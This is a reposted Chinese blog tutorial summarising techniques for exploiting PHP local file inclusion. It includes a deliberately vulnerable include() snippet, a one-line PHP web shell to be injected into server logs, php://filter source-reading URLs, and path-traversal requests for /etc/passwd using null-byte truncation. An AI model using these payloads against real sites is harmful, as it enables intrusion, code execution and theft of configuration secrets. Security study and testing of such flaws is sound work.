• LFI漏洞利用总结(转载)


    主要涉及到的函数
    include(),require()、include_once(),require_once()
    magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file()
    、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and
    max_input_time()等


    典型漏洞代码:
    <!–?php include($_GET['pages'].‘.php’);
    ?–>

    黑盒判断方法:
    单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
    本地包含漏洞的利用(这里先忽略截断问题)

    1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。
    2、包含系统的各种日志,如apache日志,文件系统日志等
    其中apache当记录格式为combined,一般日志都会很大,基本无法包含成功。包含log是有自动化攻击程序的。
    其中鬼子的博客中有提到一个空格的问题。见《邪恶的空格-PHP本地文件包含漏洞的新突破口》
    解决空格问题其实把一句话base64加密后再写入就可以执行了。
    3、包含/proc/self/environ .
    这个环境变量有访问web的session信息和包含user-agent的参数。user-agent在客户端是可以修改的。参考:《Shell via LFI
    –proc/self/environ method//http://hi.baidu.com/root_exp/blog/item
    /9c0571fc2d42664fd7887d7d.html》
    4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。
    5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码如下
    index.php?pages=php://filter/read=convert.base64-encode/resource=config
    特别的情况用到readfile()
    函数不是包含执行,可以直接读源码。
    6、利用phpinfo页面getshell。一般大组织的web群存在phpinfo的机会挺大的。
    poc和介绍参考《利用phpinfo信息LFI临时文件》//http://www.2cto.com/Article/201202/119213.html
    7、利用包含出错,或者包含有未初始化变量的PHP文件,只要变量未初始化就可能再次攻击
    具体见《include()本地文件包含漏洞随想》//http://www.2cto.com/Article/200809/29748.html
    8、结合跨站使用  index.php?pages=http:// www.2cto.com
    /path/xss.php?xss=phpcode (要考虑域信任问题)
    9、包含临时文件文件。这个方法很麻烦的。参考 《POST method
    uploads》//http://www.php.net/manual/en/features.file-upload.post-method.php
    解决临时文件删除方法:慢连接
    (注:前提是file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads =
    On,5.3.1中增加了max_file_uploads,默认最大一次上传20个)
    windows格式:win下最长4个随机字符( ‘a’-’z’,
    ‘A’-’Z’, ’0′-’9′)如:c:/windows/temp/php3e.tmp
    linux格式:6个随机字符( ‘a’-’z’,
    ‘A’-’Z’, ’0′-’9′)
    如:/tmp/phpUs7MxA
    慢连接的两种上传代码参考:《PHP安全之LFI漏洞GetShell方法大阅兵》//www.2cto.com/Article/201106/94414.html

    10、当前实在找不到写权限目录时候,注入到log中再寻找写权限目录。如注入<?php
    $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>到log.
    Linux:
    index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname
    windows:
    index.php?pages=..apachelogserror.log%00&x=.&y=dir
    具体参考《PHP本地文件包含(LFI)漏洞利用》http://www.2cto.com/Article/201202/119214.html
    11、使用php
    wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and
    allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-
    and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against
    URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date
    这些url形式。
    12、LFI判断目录是否存在和列目录,如
    **index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
    **这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。
    index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
    **FreeBSD
    《directory listing with PHP file functions》http://websec.wordpress.com/2009
    …php-file-functions/ 列目录
    **存在逻辑判断的时候,如不存在该目录就会返回header.php+File not
    found+footer.php
    存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。
    13、包含SESSION文件,php保存格式sess_SESSIONID
    默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、/var/lib/php5/(PHP
    Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
    14、包含/proc/self/cmdline
    或者/proc/self/fd/<fd number>找到log文件 (拥有者为root,默认情况要root才能访问)
    具体参考Local
    File Inclusion – 《Tricks of the Trade》http://labs.neohapsis.com/2008/0
    …ricks-of-the-trade/ 还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.
    15、包含maillog
    通常位置/var/log/maillog 这个方法也很鸡肋,具体参考《local file inclusion tricks
    》http://devels-playground.blogspo
    …clusion-tricks.html
    16、包含固定的文件,非常鸡肋,为了完整性也提下。如,可用中间人攻击。
    <?php
    include(“http://172.0.0.1/code.php “);
    ?>


    关于截断
    (简单介绍下,谷歌下很多文章提到了)
    截断要考虑两个问题magic_quotes_gpc()和PHP版本。

    1、%00空字符截断,除了这个截断在php
    5.3.4以下版本好用外,以下截断都是有条件的。
    2、windows
    Linux文件名大于4096字符被截断
    Windows:
    文件名大于256字符被截断
    参考的文档很多就不一一列举了。这个文章希望能给大家遇到LFI的时候有点帮助。
     

  • 相关阅读:
    AndroidManifest.xml文件详解(activity)(二)
    Android Studio显示可视化编辑界面
    Delphi XE2 新增 System.Zip 单元,压缩和解压缩文件
    LockBox的安装
    Kernel的意义
    Mathematical optimization数学上的最优化
    矩阵分析
    【2008nmj】支持向量机
    【2008nmj】BP二元分类
    【2008nmj】Logistic回归二元分类感知器算法.docx
  • 原文地址:https://www.cnblogs.com/demonspider/p/3388509.html
Copyright © 2020-2023  润新知